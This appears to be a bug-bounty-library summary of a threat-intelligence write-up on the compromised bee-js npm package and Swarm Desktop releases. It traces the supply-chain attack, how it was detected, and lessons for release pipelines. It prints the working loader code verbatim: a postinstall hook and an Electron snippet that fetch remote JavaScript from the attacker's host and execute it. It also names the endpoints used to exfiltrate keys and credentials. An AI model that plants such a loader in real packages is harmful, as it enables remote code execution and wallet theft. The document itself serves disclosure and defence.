# Malicious bee-js npm Release and Swarm Desktop Releases Deliver SleepyDuck Ethereum C2 Backdoor

Compromised maintainer accounts pushed malicious bee-js 13.3.0 and Swarm Desktop 0.56.2 through Ethersphere's own CI, delivering a loader that steals Bee node wallet keys and installs a Go backdoor.

- Payout: Real-world hack
- Severity: critical
- Program: Ethersphere
- Analysis by: Socket Research Team
- Disclosed: 2026-11-09
- Write-up quality: 9/10
- Original: https://socket.dev/blog/bee-js-compromise
- Library page: https://bugbountylibrary.com/r/blog%3Asocket-dev-blog-bee-js-compromise
- Tags: area:oss domain:oss impact:data-leak impact:funds-loss impact:rce kind:incident platform:threat-intel sev:critical tech:electron tech:github-actions tech:nodejs technique:source-review vuln:secrets-leak

**Target:** npm package @ethersphere/bee-js and Swarm Desktop Electron app (GitHub Actions release pipeline)
**Root cause:** Compromised maintainer (nugaon) and release-bot (bee-worker) GitHub accounts allowed unsigned commits and tags to be published via trusted publishing and a manually dispatched signing workflow that accepted arbitrary branch input with no environment protection.
**Steps:**
1. Compromise nugaon and bee-worker GitHub accounts; failed secret-harvest via workflow_dispatch dumps of `${{ toJSON(secrets) }}` to webhook.site on Nov 6.
2. Push unsigned commit de2f74e authored as bee-worker adding `scripts` to package.json files list and renaming prepare to `postinstall: node scripts/generate-version.cjs`.
3. Insert loader at top of generate-version.cjs: `require('https').get('https://api.frameworkmetrics.xyz/v1/analytics', {headers:{'User-Agent':process.platform,'X-Ethersphere':'1'}}, res => { ... new Function('require','console','process',body)(require,console,process) })`.
4. Create unsigned annotated tag v13.3.0 and GitHub release; Publish on npm workflow accepts release events with CI jobs skipped and no required reviewers, publishing the malicious commit with valid SLSA provenance.
5. Create branch emergency/0.56.2 at 2de7270 adding the same loader to src/index.ts, publish full release v0.56.2, dispatch pre-release.yml with the branch input to build/sign/notarize all packages.
6. Fix broken pre-release.yml by adding pnpm/action-setup (dc7d745) so the third run builds, signs with Developer ID and notarizes; auto-updater offers 0.56.2 to macOS arm64 and Windows x64.
7. Stage 2 payload posts `data-dir/config.yaml` (plaintext password) and `data-dir/keys/swarm.key` to `/v1/swarm/report`, then downloads stage 3 from `/v1/assets/`.
8. Stage 3 Go backdoor reads hub from Ethereum contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 via public RPC, persists as systemd user unit or LaunchAgent, opens sh PTY; Windows path uses UACME method 39 and installs ScreenConnect relay 185.232.84.169:8041.
**How found:** Socket compared the 13.3.0 tarball against the legitimate 13.3.0-upcoming pre-release (331 dist files byte-identical, only package.json and loader differ), noticed the first-ever postinstall hook in 178 versions, spotted the semicolon-terminated sink line breaking the repo's Prettier style, and correlated the C2 contract and stage-3 hashes with Pluto Security's earlier SleepyDuck/EtherDuck Open VSX report.
**Exploitation:** Attacker used already-held credentials to push unsigned commits and tags, letting Ethersphere's legitimate trusted-publishing workflow and signing/notarization CI build and distribute the malicious artifacts. Consumers installing bee-js 13.3.0 with scripts enabled, or Swarm Desktop auto-updating to 0.56.2, ran a loader that fetched JS from api.frameworkmetrics.xyz and executed it with full Node/Electron privileges, exfiltrating the Bee node keystore and its plaintext password to hand over the node wallet, then installing a persistent Go backdoor (macOS/Linux) or ScreenConnect (Windows) for remote shell access.
**Escalation:** Loader ran inside Ethersphere's own publish job with id-token: write, potentially exposing OIDC tokens; stage 2 stole node wallet keys; stage 3 added persistent remote shell and UAC-bypassed SYSTEM ScreenConnect for full host control.
**Insight:** Trusted publishing and SLSA provenance attest only where a package was built, not that its source was reviewed — audit release-triggered publish workflows for missing branch/tag checks and required reviewers, and diff new versions against the prior pre-release to isolate injected files.

## Proof of concept (copied exactly from the original report)

**bee-js postinstall loader fetching and executing remote JS**

```
try {
 const req = require('https').get(
 '<https://api.frameworkmetrics.xyz/v1/analytics>',
 {
 headers: {
 'User-Agent': process.platform,
 'X-Ethersphere': '1',
 },
 timeout: 3000,
 },
 async res => {
 let body = ''
 for await (const chunk of res) body += chunk
 new Function('require', 'console', 'process', body)(require, console, process);
 },
 )
 req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}
```

**Swarm Desktop Electron main-process loader**

```
new Promise((resolve, reject) => {
 const req = node_https_1.default.request({
 hostname: 'api.frameworkmetrics.xyz',
 port: 443,
 path: '/v1/electron',
 method: 'GET',
 headers: {
 'User-Agent': process.platform,
 'X-Ethersphere': '1',
 },
 }, (res) => {
 let body = '';
 res.setEncoding('utf8');
 res.on('data', (c) => { body += c; });
 res.on('end', () => new Function('require', 'console', 'process', body)(require, console, process));
 });
 req.on('error', reject);
 req.end();
 });
```

**package.json postinstall hook and files change**

```
"files": [
 "dist",
 "scripts"
 ],
 "scripts": {
 "prepublishOnly": "NODE_ENV=production npm run build",
 "postinstall": "node scripts/generate-version.cjs",
```

